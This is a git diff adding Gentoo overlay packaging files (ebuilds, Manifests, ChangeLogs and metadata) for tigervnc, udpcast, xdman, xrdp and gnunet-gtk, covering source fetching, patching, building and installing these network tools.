+DIST tigervnc-1.2.0-patches-0.1.tar.bz2 10194 SHA256 cf58845892b50f1a9f01567747d262ba0619df85fe3bd67e61ebcb3229f75ff5 SHA512 f4061c85572901b160b41107960a46b7faea59d8bee9301bfb62ade26678711b4e86951bda74ca3ce0e51ba1fcddb37404da8e8e469353e8620a72d450fd816a WHIRLPOOL 80a40306cb138a137155b848f471a2bc54f8973eb869cbc90753a23a53361469f0c793389d2dcb341d3cf8bf403c5636f7c1f34722c7a86f7ff58f5afd80dbe9
+DIST tigervnc-1.2.0.tar.gz 2487050 SHA256 6e0910f1ff1681bc8b52e7ea805e586b88b352c88f66e4c2cc31aa39c4a32f53 SHA512 a1ffe59f0db394455859a8de0551819f15f976689565fffc72c5eff9953e9678ff02f10dc0fc51931e251b6b8aee27c5c75c008ee6a7557f3db42911a90a27e5 WHIRLPOOL 5d2fc9be4cf9e281a29d27fc14362471d98b83bf3c396521ab267ad6fea24ed5c5ebeb81775af11ed06f3d0977fcda6976ea6dd16cfe798ed828442ef76a2c78
+DIST tigervnc.png 4958 SHA256 e0828aeb92ccaaf93e690e9ee5e17803de1cb140d3ca79fb756fe08ebbc4492e SHA512 97f9a42e9b9f50f1c91de3b7d7991aa8965240fe4958d6da4e9f72f9baa4510ad615765f7c59d6e0a90c9d4b5fe53ad1547c766f2da45e4a6b6e29b03ced2b8b WHIRLPOOL bbf01f6702724bc4329d053bd3fbf856103371abce20f6f74aa3c2e5eed0eebcdcccd287788b1efbb8de3008cb484a8da5ccd1bd667727e4b0861f3bb550529c
+DIST xorg-server-1.13.0.tar.bz2 5469168 SHA256 548b91cb01087ad4f892428e7ac4955251cf12393e86c70420436b33848ef28a SHA512 840a341f796386156ff4eb599c4b3b96090d3fda9cdbe70c45ff175c8d01b62cb9ba04a6c73ddde90996f8b96be1a3d925c9803a3b629cb4bc317374b7b1e014 WHIRLPOOL f52984556237f7c1dd4537727050e6b8347592ef5cd8e6787c65c3fee9bdcadb9709315929636fdc89a2fb4cdfd30f5224072954ed091eafb10fd8cd64a5ac30
+EBUILD tigervnc-1.2.0.ebuild 4881 SHA256 a17d99f14d540bb6403603e4a684b6e7da850aea8bc0f42e890d9ca7acc108c6 SHA512 63d142129fafececf893539b1ab78b8f8df2c5429dcf2bef43e7f75853e9a23ad38fa6e938111018b14bf7f51df3fb180f00a812eeae1404f56cb75c5d3c3355 WHIRLPOOL de083b54e1135643e46fe362862557e6046a680ba7189d43f5942425779a9489eb045f384b2cced0a22b1298732b3e5e35f0b4a3c89234c09b2804829b9c50c8
diff --git a/net-misc/tigervnc/tigervnc-1.2.0.ebuild b/net-misc/tigervnc/tigervnc-1.2.0.ebuild
new file mode 100644
index 00000000..6cc27b7f
--- /dev/null
+++ b/net-misc/tigervnc/tigervnc-1.2.0.ebuild
@@ -0,0 +1,196 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-misc/tigervnc/tigervnc-1.2.0.ebuild,v 1.17 2013/01/04 19:29:51 ago Exp $
+
+EAPI="4"
+
+inherit eutils cmake-utils autotools java-pkg-opt-2 flag-o-matic
+
+PATCHVER="0.1"
+XSERVER_VERSION="1.13.0"
+OPENGL_DIR="xorg-x11"
+
+DESCRIPTION="Remote desktop viewer display system"
+HOMEPAGE="http://www.tigervnc.org"
+SRC_URI="mirror://sourceforge/tigervnc/${P}.tar.gz
+	mirror://gentoo/${PN}.png
+	mirror://gentoo/${P}-patches-${PATCHVER}.tar.bz2
+	http://dev.gentoo.org/~armin76/dist/${P}-patches-${PATCHVER}.tar.bz2
+	server? ( ftp://ftp.freedesktop.org/pub/xorg/individual/xserver/xorg-server-${XSERVER_VERSION}.tar.bz2	)"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="alpha amd64 arm hppa ia64 ~mips ppc ppc64 sh sparc x86"
+IUSE="gnutls +internal-fltk java nptl +opengl pam server +xorgmodule"
+
+RDEPEND="virtual/jpeg
+	sys-libs/zlib
+	>=x11-libs/libXtst-1.0.99.2
+	gnutls? ( net-libs/gnutls )
+	java? ( >=virtual/jre-1.5 )
+	pam? ( virtual/pam )
+	!internal-fltk? ( x11-libs/fltk:1 )
+	internal-fltk? (
+		x11-libs/libXft
+		x11-libs/libXinerama
+		x11-libs/libXcursor )
+	server? (
+		>=x11-libs/libXi-1.2.99.1
+		>=x11-libs/libXfont-1.4.2
+		>=x11-libs/libxkbfile-1.0.4
+		x11-libs/libXrender
+		>=x11-libs/pixman-0.21.8
+		>=x11-apps/xauth-1.0.3
+		x11-apps/xsetroot
+		>=x11-misc/xkeyboard-config-2.4.1-r3
+		opengl? ( >=app-admin/eselect-opengl-1.0.8 )
+		xorgmodule? ( =x11-base/xorg-server-${XSERVER_VERSION%.*}* )
+	)
+	!net-misc/vnc
+	!net-misc/tightvnc
+	!net-misc/xf4vnc"
+DEPEND="${RDEPEND}
+	amd64? ( dev-lang/nasm )
+	x86? ( dev-lang/nasm )
+	>=x11-proto/inputproto-2.1.99.3
+	>=x11-proto/xextproto-7.1.99
+	>=x11-proto/xproto-7.0.22
+	java? ( >=virtual/jdk-1.5 )
+	server?	(
+		virtual/pkgconfig
+		media-fonts/font-util
+		x11-misc/util-macros
+		>=x11-proto/bigreqsproto-1.1.0
+		>=x11-proto/compositeproto-0.4
+		>=x11-proto/damageproto-1.1
+		>=x11-proto/fixesproto-5.0
+		>=x11-proto/fontsproto-2.0.2
+		>=x11-proto/randrproto-1.4.0
+		>=x11-proto/renderproto-0.11
+		>=x11-proto/resourceproto-1.0.2
+		>=x11-proto/scrnsaverproto-1.1
+		>=x11-proto/videoproto-2.2.2
+		>=x11-proto/xcmiscproto-1.2.0
+		>=x11-proto/xineramaproto-1.1.3
+		>=x11-libs/xtrans-1.2.2
+		>=x11-proto/dri2proto-2.8
+		opengl? ( >=media-libs/mesa-7.8_rc[nptl=] )
+	)"
+
+CMAKE_IN_SOURCE_BUILD=1
+
+pkg_setup() {
+	if ! use server ; then
+		echo
+		einfo "The 'server' USE flag will build tigervnc's server."
+		einfo "If '-server' is chosen only the client is built to save space."
+		einfo "Stop the build now if you need to add 'server' to USE flags.\n"
+	else
+		ewarn "Forcing on xorg-x11 for new enough glxtokens.h..."
+		OLD_IMPLEM="$(eselect opengl show)"
+		eselect opengl set ${OPENGL_DIR}
+	fi
+}
+
+switch_opengl_implem() {
+	# Switch to the xorg implementation.
+	# Use new opengl-update that will not reset user selected
+	# OpenGL interface ...
+	echo
+	eselect opengl set ${OLD_IMPLEM}
+}
+
+src_prepare() {
+	if use server ; then
+		cp -r "${WORKDIR}"/xorg-server-${XSERVER_VERSION}/* unix/xserver
+	else
+		rm "${WORKDIR}"/patches/*_server_*
+	fi
+
+	EPATCH_SOURCE="${WORKDIR}/patches" EPATCH_SUFFIX="patch" \
+		EPATCH_EXCLUDE="015_java7.patch" EPATCH_FORCE="yes" epatch
+
+	if use server ; then
+		cd unix/xserver
+		eautoreconf
+	fi
+}
+
+src_configure() {
+
+	use arm || use hppa && append-flags "-fPIC"
+
+	mycmakeargs=(
+		-G "Unix Makefiles"
+		$(cmake-utils_use_use internal-fltk INCLUDED_FLTK)
+		$(cmake-utils_use_enable gnutls GNUTLS)
+		$(cmake-utils_use_enable pam PAM)
+		$(cmake-utils_use_build java JAVA)
+	)
+
+	cmake-utils_src_configure
+
+	if use server; then
+		cd unix/xserver
+		econf \
+			$(use_enable nptl glx-tls) \
+			$(use_enable opengl glx) \
+			--disable-config-dbus \
+			--disable-config-hal \
+			--disable-config-udev \
+			--disable-devel-docs \
+			--disable-dmx \
+			--disable-dri \
+			--disable-kdrive \
+			--disable-selective-werror \
+			--disable-silent-rules \
+			--disable-static \
+			--disable-unit-tests \
+			--disable-xephyr \
+			--disable-xinerama \
+			--disable-xnest \
+			--disable-xorg \
+			--disable-xvfb \
+			--disable-xwin \
+			--enable-dri2 \
+			--with-pic \
+			--without-dtrace
+	fi
+}
+
+src_compile() {
+	cmake-utils_src_compile
+
+	if use server ; then
+		cd unix/xserver
+		emake
+	fi
+}
+
+src_install() {
+	cmake-utils_src_install
+
+	newicon "${DISTDIR}"/tigervnc.png vncviewer.png
+	make_desktop_entry vncviewer vncviewer vncviewer Network
+
+	if use server ; then
+		cd unix/xserver/hw/vnc
+		emake DESTDIR="${D}" install
+		! use xorgmodule && rm -rf "${D}"/usr/$(get_libdir)/xorg
+
+		newconfd "${FILESDIR}"/${PN}.confd ${PN}
+		newinitd "${FILESDIR}"/${PN}.initd ${PN}
+
+		rm "${D}"/usr/$(get_libdir)/xorg/modules/extensions/libvnc.la
+	else
+		cd "${D}"
+		for f in vncserver vncpasswd x0vncserver vncconfig; do
+			rm usr/bin/$f
+			rm usr/share/man/man1/$f.1
+		done
+	fi
+}
+
+pkg_postinst() {
+	use server && switch_opengl_implem
+}
diff --git a/net-misc/udpcast/ChangeLog b/net-misc/udpcast/ChangeLog
new file mode 100644
index 00000000..a68abe0a
--- /dev/null
+++ b/net-misc/udpcast/ChangeLog
@@ -0,0 +1,107 @@
+# ChangeLog for net-misc/udpcast
+# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/net-misc/udpcast/ChangeLog,v 1.25 2012/10/08 12:03:04 jer Exp $
+
+*udpcast-20120424 (08 Oct 2012)
+
+  08 Oct 2012; Jeroen Roovers <jer@gentoo.org> -udpcast-20090920.ebuild,
+  -udpcast-20100130.ebuild, +udpcast-20120424.ebuild:
+  Version bump.
+
+  28 Jan 2012; Pawel Hajdan jr <phajdan.jr@gentoo.org> udpcast-20110710.ebuild:
+  x86 stable wrt bug #400451
+
+  27 Jan 2012; Agostino Sarubbo <ago@gentoo.org> udpcast-20110710.ebuild:
+  Stable for amd64, wrt bug #400451
+
+*udpcast-20110710 (30 Jul 2011)
+
+  30 Jul 2011; Jeroen Roovers <jer@gentoo.org> +udpcast-20110710.ebuild:
+  Version bump.
+
+*udpcast-20100130 (08 May 2011)
+
+  08 May 2011; Jeroen Roovers <jer@gentoo.org> -udpcast-20070602.ebuild,
+  -udpcast-20071228.ebuild, +udpcast-20100130.ebuild:
+  Version bump. Respect CFLAGS.
+
+  21 Nov 2009; Markus Meier <maekke@gentoo.org> udpcast-20090920.ebuild:
+  x86 stable, bug #286340
+
+  23 Oct 2009; Samuli Suominen <ssuominen@gentoo.org>
+  udpcast-20090920.ebuild:
+  amd64 stable wrt #286340
+
+  21 Oct 2009; Jeroen Roovers <jer@gentoo.org> udpcast-20090920.ebuild:
+  Do not strip (bug #286340, comment #1).
+
+*udpcast-20090920 (21 Sep 2009)
+
+  21 Sep 2009; Patrick Lauer <patrick@gentoo.org> -udpcast-20090830.ebuild,
+  -udpcast-20090912.ebuild, +udpcast-20090920.ebuild:
+  Bump to 20090920, fixes a bug introduced in the older 2009 versions that
+  promptly get removed. Thanks to John Eisenman for finding the bug,
+  communicating with upstream and notifying me of the new release.
+
+*udpcast-20090912 (17 Sep 2009)
+
+  17 Sep 2009; Patrick Lauer <patrick@gentoo.org> +udpcast-20090912.ebuild:
+  Bump
+
+*udpcast-20090830 (12 Sep 2009)
+
+  12 Sep 2009; Patrick Lauer <patrick@gentoo.org> +udpcast-20090830.ebuild:
+  Bump
+
+  30 Jun 2008; Raúl Porcel <armin76@gentoo.org> udpcast-20071228.ebuild:
+  x86 stable
+
+*udpcast-20071228 (30 Mar 2008)
+
+  30 Mar 2008; Cédric Krier <cedk@gentoo.org> +udpcast-20071228.ebuild:
+  Version bump
+
+  03 Feb 2008; Raúl Porcel <armin76@gentoo.org> udpcast-20070602.ebuild:
+  Fix src_install, bug #208740
+
+  26 Jan 2008; Raúl Porcel <armin76@gentoo.org>
+  -files/udpcast-20070323-makefix.patch, -udpcast-20050226.ebuild,
+  -udpcast-20070323.ebuild, udpcast-20070602.ebuild:
+  x86 stable, remove old
+
+*udpcast-20070602 (02 Jun 2007)
+
+  02 Jun 2007; Daniel Black <dragonheart@gentoo.org>
+  -udpcast-20040222.ebuild, +udpcast-20070602.ebuild:
+  version bump
+
+*udpcast-20070323 (06 Apr 2007)
+
+  06 Apr 2007; Daniel Black <dragonheart@gentoo.org>
+  +files/udpcast-20070323-makefix.patch, +udpcast-20070323.ebuild:
+  version bump
+
+  09 Feb 2007; Diego Pettenò <flameeyes@gentoo.org> ChangeLog:
+  Regenerate digest in Manifest2 format.
+
+  24 Apr 2005; Marcelo Goes <vanquirius@gentoo.org> udpcast-20050226.ebuild:
+  Marking x86 stable.
+
+*udpcast-20050226 (24 Mar 2005)
+
+  24 Mar 2005; Marcelo Goes <vanquirius@gentoo.org> +udpcast-20050226.ebuild:
+  Version bump.
+
+  17 Aug 2004; Eldad Zack <eldad@gentoo.org> udpcast-20040222.ebuild:
+  x86 stable
+
+  31 Jul 2004; <malc@gentoo.org> udpcast-20040222.ebuild:
+  ~amd64 closes bug #57776
+
+  01 Jul 2004; Jon Hood <squinky86@gentoo.org> udpcast-20040222.ebuild:
+  change virtual/glibc to virtual/libc, add IUSE
+
+*udpcast-20040222 (28 Feb 2004)
+
+  28 Feb 2004; Mike Frysinger <vapier@gentoo.org> :
+  Initial import.  Ebuild submitted by Daniel Fullmer #42816.
diff --git a/net-misc/udpcast/Manifest b/net-misc/udpcast/Manifest
new file mode 100644
index 00000000..daffb207
--- /dev/null
+++ b/net-misc/udpcast/Manifest
@@ -0,0 +1,7 @@
+AUX udpcast-define.patch 426 SHA256 debb6029b894ff1c98f34a65c56a2e4c91ab7d9a5e0fc66e653e7139e037408b SHA512 1e42f3a5d3dc91e1314969bf80ae980794b0a651ce1a1c124ecd75dce4ed66a87120ae518c605a925d4440426220839359415015494e229b03f8292dfa6d0d1a WHIRLPOOL 9fa57628dd6e28020b2344586b483e2a9c0db9fee8298357620a239de68e5b007d493700d1bc214af9d81669db07259952df38e9f39d970424bad099825b982a
+DIST udpcast-20110710.tar.bz2 138992 SHA256 84a0e577cdd01a555cd6dca80bc66cd0dfe7090848af560428dc71c1e6495329 SHA512 64197117e15a87592ebd41d70fb500bb6b08b119436fdd1149d45948a0e0995414b4e6a8efd5ce292a9e6faf128e8f57971d5888f081eab644ad275d27a4fbaf WHIRLPOOL 8138111d1b2486af494691c80f6820537f2fd940d0f7e2a07d14fd613cd826f55a0bf8b9a7e0aa1da0b5374723956a2c46b05bc2a6f41edb378966bff3e2d732
+DIST udpcast-20120424.tar.bz2 138955 SHA256 d6c30352571a3215f00f8451d0fe932ba24ed5f98653d3aeb554e3c43c079677 SHA512 b28ada43f9f3cba498ffff3032cff6a673584836439275604c1201a18fe2e37f2c847a48b72783065b1656a7a2f9e9739d8a376e90df8b05749bc2e2f64278de WHIRLPOOL 9d8d48fabe30f462e49d2b1dc0b2d190fd5b0e6d1e68f801209a61782185464a952dd46ffbed9a6d39a3da8fce6de99f68916b3ef447db6d0fcc1523a83cc4de
+EBUILD udpcast-20110710.ebuild 651 SHA256 82cce26ffc46bee69b47a48d7d37e8b47aeb8c81bfc082d40378b4169c6857d5 SHA512 2d26f4de340760c73e2c781d7d4e3ec0ef5db818c604c8800eb9a5d2b197a73a6c6095b1ec7e77ee243fc1a781fcc44e9aac84a84afc0a74b94983d1c0271771 WHIRLPOOL a8508c1ad210180bb212d65b6c4a3fa9570e50676a96caef88e0dfbad4d4305fd7e473c6f21cc3151ef7144a251b413384fcdf1a878e9634c69eb69f80d0cf9c
+EBUILD udpcast-20120424.ebuild 652 SHA256 414500b44d29075760120ecd9226cacdfadc932b8208da95fb31210c0a9ae961 SHA512 52acca2e24cc97f0a490478f82ae572ff1e3605b810a37b2315ceed47b958d094dd412b4c80f0ca300aa3f638f83ff859a075bc84f7240f6c555eb856fd20483 WHIRLPOOL e5df21e56aefaae17b6b572cbfc9862f2e40e34ef4948ba0675d0880ef5d9eecc51fa2cd07fb20f5ac47e0d510319a372d112904e53e3b04635e9e7264e15c44
+MISC ChangeLog 3459 SHA256 a73145f20f7cf2da3c17dcecb820d43120a64c8699e20a7080ba1d6d2ac6749d SHA512 198f2f5142bc95d2d05ec7fb53efd51927a5aea022f170c217e7be326ae2ea5aeb60eb97ef969ef32f74a70a27c2f370e1c1d8a3a041dc6e2253bd3b02e1a690 WHIRLPOOL 3c6b0ba3b9479247f8580dedc2fd11267fa9584768b23246e0a1046e4ae4b01db5f7cbbaae13ff532fa0e40cc771d1addadd51b2b55d486a872e6f585b942c60
+MISC metadata.xml 575 SHA256 df2f4234076fbcd7f357b64386f6e9f23d6c6afce5e70a7f820d7beb5d680d84 SHA512 e4e6ecafd90f60b9dbf8cb5b99b7409bd90c1ec4899d43e6ba7be75c81e3084182ac5fa920fa7780460dfd7348812f096672805e2c01ac05a95068c6a671d2cd WHIRLPOOL 5823b97397edb079fb36a0407de9168a46cba7db9c5e07cc2f90c0890af54cad2b2952d36e4ed0f550047a5578bcd400d5c56f55e38437c6b6dee734a6bf4fbf
diff --git a/net-misc/udpcast/files/udpcast-define.patch b/net-misc/udpcast/files/udpcast-define.patch
new file mode 100644
index 00000000..526db752
--- /dev/null
+++ b/net-misc/udpcast/files/udpcast-define.patch
@@ -0,0 +1,12 @@
+diff -ur udpcast-20120424/console.h udpcast-20120424.fix/console.h
+--- udpcast-20120424/console.h	2013-07-15 09:31:02.230424117 -0500
++++ udpcast-20120424.fix/console.h	2013-07-15 09:30:36.482204769 -0500
+@@ -6,6 +6,8 @@
+ #include <winbase.h>
+ #endif /* __MINGW32__ */
+ 
++#include <sys/select.h>
++
+ #define prepareConsole udpc_prepareConsole
+ #define getConsoleFd udpc_getConsoleFd
+ #define restoreConsole udpc_restoreConsole
diff --git a/net-misc/udpcast/metadata.xml b/net-misc/udpcast/metadata.xml
new file mode 100644
index 00000000..526d84b8
--- /dev/null
+++ b/net-misc/udpcast/metadata.xml
@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<longdescription>
+UDPcast is a file transfer tool that can send data simultaneously to 
+many destinations on a LAN. This can for instance be used to install 
+entire classrooms of PC's at once. The advantage of UDPcast over using 
+other methods (nfs, ftp, whatever) is that UDPcast uses Ethernet's 
+multicast abilities: it won't take longer to install 15 machines than it 
+would to install just 2.
+</longdescription>
+</pkgmetadata>
diff --git a/net-misc/udpcast/udpcast-20110710.ebuild b/net-misc/udpcast/udpcast-20110710.ebuild
new file mode 100644
index 00000000..fae8e706
--- /dev/null
+++ b/net-misc/udpcast/udpcast-20110710.ebuild
@@ -0,0 +1,30 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-misc/udpcast/udpcast-20110710.ebuild,v 1.3 2012/01/28 15:20:30 phajdan.jr Exp $
+
+EAPI=4
+
+DESCRIPTION="Multicast file transfer tool"
+HOMEPAGE="http://udpcast.linux.lu/"
+SRC_URI="http://udpcast.linux.lu/download/${P}.tar.bz2"
+
+LICENSE="GPL-2 BSD"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE=""
+
+DEPEND="dev-lang/perl"
+RDEPEND=""
+
+src_prepare() {
+	epatch "${FILESDIR}"/iambien-patch.patch
+	sed -i Makefile.in \
+		-e '/^LDFLAGS +=-s/d' \
+		-e '/^CFLAGS/s: -O6::g' \
+		|| die
+}
+
+src_install() {
+	default
+	dodoc *.txt
+}
diff --git a/net-misc/udpcast/udpcast-20120424.ebuild b/net-misc/udpcast/udpcast-20120424.ebuild
new file mode 100644
index 00000000..f4ae0969
--- /dev/null
+++ b/net-misc/udpcast/udpcast-20120424.ebuild
@@ -0,0 +1,31 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-misc/udpcast/udpcast-20120424.ebuild,v 1.1 2012/10/08 12:03:04 jer Exp $
+
+EAPI=4
+
+inherit eutils
+
+DESCRIPTION="Multicast file transfer tool"
+HOMEPAGE="http://udpcast.linux.lu/"
+SRC_URI="http://udpcast.linux.lu/download/${P}.tar.bz2"
+
+LICENSE="GPL-2 BSD"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="dev-lang/perl"
+
+src_prepare() {
+	epatch "${FILESDIR}"/"${PN}"-define.patch
+	sed -i Makefile.in \
+		-e '/^LDFLAGS +=-s/d' \
+		-e '/^CFLAGS/s: -O6::g' \
+		|| die
+}
+
+src_install() {
+	default
+	dodoc *.txt
+}
diff --git a/net-misc/xdman/Manifest b/net-misc/xdman/Manifest
new file mode 100644
index 00000000..0d8a4d11
--- /dev/null
+++ b/net-misc/xdman/Manifest
@@ -0,0 +1,2 @@
+DIST xdman.zip 405717 SHA256 38b757a54f24798c0db966cb17ce8c4bb5603b3e7f735c930a0a9762d85fea7c SHA512 a32307d399bac5d6990b7383c603ebcc4e0c497b308597abd125def1212371fed4ad6111181ae56bc8ac996727a27761d2d187308dd8d7dd5461ce93782ba549 WHIRLPOOL ae8924037b57f63e218a9be05059c2e37820504171bb1ac6a8f3660c01f44cba52f7c250ab136edb176cf6087bc9e1d3e2f6ff3b16a64c2137ea059ed842f20c
+EBUILD xdman-1.0.ebuild 863 SHA256 2d380bd6e87ebbd78299b1d9518f6b22dc9c8ba0af86e6809d052514aba07974 SHA512 ae6c5060e9341384b8d29f5bdfe5104abfbd3da49b1bac2df9012bcca78440a7bb3016315436e41841195baa7ba1d8978ac10e5f4f8084c5c271f45caade9353 WHIRLPOOL e801333e4e5c86c5160c31bfe8fa5bcf1a3b4b393d79a38b8e1fa7afbdd790b79b254fa8d3be9325c80a3fdcb399e50fb2a5cb2464ac218eea036706c50019db
diff --git a/net-misc/xdman/xdman-1.0.ebuild b/net-misc/xdman/xdman-1.0.ebuild
new file mode 100644
index 00000000..481b420a
--- /dev/null
+++ b/net-misc/xdman/xdman-1.0.ebuild
@@ -0,0 +1,45 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils
+
+DESCRIPTION="XDman Internet Downloader"
+HOMEPAGE="http://xdman.sourceforge.net/"
+SRC_URI="mirror://sourceforge/${PN}/${PN}.zip"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="app-admin/eselect-java"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}"
+
+src_install() {
+	ls $S
+	dodir /usr/share/${PN}
+	dodir /usr/share/applications/
+	dodir /usr/share/pixmaps
+	dodir /usr/bin/
+
+	insinto /usr/share/${PN}
+	doins "${S}"/${PN}.jar
+	cd "${D}"/usr/share/${PN}
+	echo "cd /usr/share/${PN} && \
+	java -jar ${PN}.jar" > "${D}"/usr/bin/${PN}
+
+	insinto /usr/share/pixmaps
+	doins "${S}"/icon.png
+
+	insinto /usr/share/${PN}
+	make_desktop_entry xdman xdman \
+		"/usr/share/${PN}/icon.png" \
+		Internet
+
+	fperms u+x /usr/bin/${PN}
+}
diff --git a/net-misc/xrdp/Manifest b/net-misc/xrdp/Manifest
new file mode 100644
index 00000000..523da59f
--- /dev/null
+++ b/net-misc/xrdp/Manifest
@@ -0,0 +1 @@
+EBUILD xrdp-9999.ebuild 2648 SHA256 2d9070034dfe1733ad8ee8d382df3ea5e0c974a16ed5e8875f9a83b0c3eb78df SHA512 974e3a89f0e21cfcc1a4e9d742f0f15baa7e443e3f788e2f902ac1ceee3a1ecd2c3d1410634b51576b4c78efe3d0a9f29d86a9ba5c844cdae75f4ac29e6ac2f1 WHIRLPOOL 8d96668bcf8ab6942fa8255a66578c4cb35b25065a3458b124dbe6c6c707c39d1d0dffba78ad52395a511c10589eb23f8cacefed60d646c6c9ae26625e23bc76
diff --git a/net-misc/xrdp/xrdp-9999.ebuild b/net-misc/xrdp/xrdp-9999.ebuild
new file mode 100644
index 00000000..fc3a2cf5
--- /dev/null
+++ b/net-misc/xrdp/xrdp-9999.ebuild
@@ -0,0 +1,94 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils multilib cvs
+
+DESCRIPTION="An open source remote desktop protocol(rdp) server."
+HOMEPAGE="http://xrdp.sourceforge.net/"
+SRC_URI=""
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS=""
+IUSE=""
+
+DEPEND="sys-libs/pam"
+RDEPEND="${DEPEND}
+	|| ( x11-misc/x11vnc net-misc/vnc[server] net-misc/tightvnc )"
+
+DESTDIR="/usr/$(get_libdir)/${PN}"
+
+src_unpack() {
+	ECVS_SERVER="xrdp.cvs.sourceforge.net:/cvsroot/xrdp"
+	ECVS_USER="anonymous"
+	ECVS_PASS=""
+	ECVS_AUTH="pserver"
+	ECVS_MODULE="xrdp"
+	ECVS_LOCALNAME="xrdp"
+
+	S="${WORKDIR}/${ECVS_LOCALNAME}"
+
+	cvs_src_unpack
+	cd "${S}"
+
+	# fix makefile problem in sesrun
+	epatch "${FILESDIR}/xrdp-9999-002-sesrun-config.patch"
+
+	# fix sandbox security violation issues
+        epatch "${FILESDIR}/xrdp-9999-001-sandbox-violation.patch"
+
+	# domain as module name non-auto fix, and hidden modules patch
+	epatch "${FILESDIR}/xrdp-9999-003-domain-as-module-name-noauto-fix-and-hidden-option.patch"
+
+	# ignore client auth when module has preset
+	# No longer required as it has been merged into CVS HEAD
+	# xrdp/xrdp/xrdp_wm.c r1.63, Thu May 28 21:01:01 2009 UTC
+	#epatch "${FILESDIR}/xrdp-9999-004-ignore-client-auth-on-preset.patch"
+
+	autoreconf -fvi
+
+	# fix cflags, broken paths, multilib, and insecure rpath in all makefiles
+	for MAKE in $(find . -name Makefile) ; do
+		sed -i "s:CFLAGS = -Wall -O. :CFLAGS += :
+			s:/usr/xrdp:${DESTDIR}:g
+			s:/usr/lib/:/usr/$(get_libdir)/:g
+			s:rpath,\.:rpath,${DESTDIR}:g" ${MAKE}
+	done
+
+	#sed -i '/instfiles\/xrdp_control1.sh/ d' Makefile
+}
+
+src_configure() {
+	econf --localstatedir=/var || die "econf failed"
+}
+
+src_compile() {
+	emake -j1 DESTDIR="${DESTDIR}" || die "emake failed"
+}
+
+src_install() {
+	emake -j1 DESTDIR="${D}" install || die "emake install failed"
+	emake -j1 -C sesman/tools DESTDIR="${D}" install || die "emake install failed"
+	emake -j1 -C sesman/libscp DESTDIR="${D}" install || die "emake install failed"
+	dodoc design.txt readme.txt sesman/startwm.sh
+	doman "${D}/usr/share/man/"*/*
+	keepdir /var/log/${PN}
+	rm -f "${D}/etc/xrdp/xrdp.sh" "${D}/etc/init.d/xrdp.sh"
+	cp "${FILESDIR}/startwm.sh" "${D}/etc/xrdp/"
+	cp -f "${FILESDIR}/xrdp.ini" "${D}/etc/xrdp/"
+	chmod 755 "${D}/etc/xrdp/startwm.sh"
+	newinitd "${FILESDIR}/${PN}-initd-cvs" ${PN}
+	newconfd "${FILESDIR}/${PN}-confd-cvs" ${PN}
+	sed -i "s:LIBDIR:$(get_libdir):" "${D}/etc/init.d/${PN}"
+}
+
+pkg_postinst() {
+	# generate a new rsa key if needed
+	if [ ! -e "/etc/xrdp/rsakeys.ini" ] ; then
+		elog "Generating xrdp keys..."
+		xrdp-keygen xrdp /etc/xrdp/rsakeys.ini
+	fi
+}
diff --git a/net-p2p/gnunet-gtk/ChangeLog b/net-p2p/gnunet-gtk/ChangeLog
new file mode 100644
index 00000000..ec7fd339
--- /dev/null
+++ b/net-p2p/gnunet-gtk/ChangeLog
@@ -0,0 +1,21 @@
+# ChangeLog for net-p2p/gnunet-gtk
+# Copyright 1999-2010 Gentoo Foundation; Distributed under the GPL v2
+# $Header: $
+
+*gnunet-gtk-0.8.1a (16 Feb 2010)
+
+  16 Feb 2010; Ycarus <ycarus@zugaina.org> +gnunet-gtk-0.8.1a.ebuild:
+  Bump to 0.8.1a
+
+*gnunet-gtk-0.8.1 (01 Jan 2010)
+
+  01 Jan 2010; Ycarus <ycarus@zugaina.org> +gnunet-gtk-0.8.1.ebuild:
+  Bump to 0.8.1
+
+  30 Jul 2008; Ycarus <ycarus@zugaina.org> +gnunet-gtk-0.8.0a.ebuild:
+  Bump to version 0.8.0a
+
+  15 Jun 2008; <ycarus@zugaina.org> +gnunet-gtk-0.8.0_pre1.ebuild,
+  +gnunet-gtk-0.8.0.ebuild:
+  Bump to version 0.8.0
+
diff --git a/net-p2p/gnunet-gtk/Manifest b/net-p2p/gnunet-gtk/Manifest
new file mode 100644
index 00000000..ee21bace
--- /dev/null
+++ b/net-p2p/gnunet-gtk/Manifest
@@ -0,0 +1,20 @@
+DIST gnunet-gtk-0.7.3.tar.bz2 709939 SHA256 034e21a130d1dcfb1a27d57a7e0f879b8a58a3d739c1c5ee6d2c0b3865896e1d
+DIST gnunet-gtk-0.8.0.tar.bz2 804666 SHA256 8c367f3ec77dcb44571eb840a5209deb7d160ef31639b338b655b8944fb83786
+DIST gnunet-gtk-0.8.0a.tar.bz2 804612 SHA256 7956637db0a2504f250a2870830be00bd71700d5854efd7f2885ed8271c3eaa7
+DIST gnunet-gtk-0.8.0c.tar.bz2 682748 SHA256 f67d06f3af4e72890326592254de68668c0d80c1e6196fa6d2430823f01ef837
+DIST gnunet-gtk-0.8.0pre0.tar.bz2 749479 SHA256 26f1d785df4260372bab5a3e0062b32c5510a47e25f14315f82a88f88a5871d6
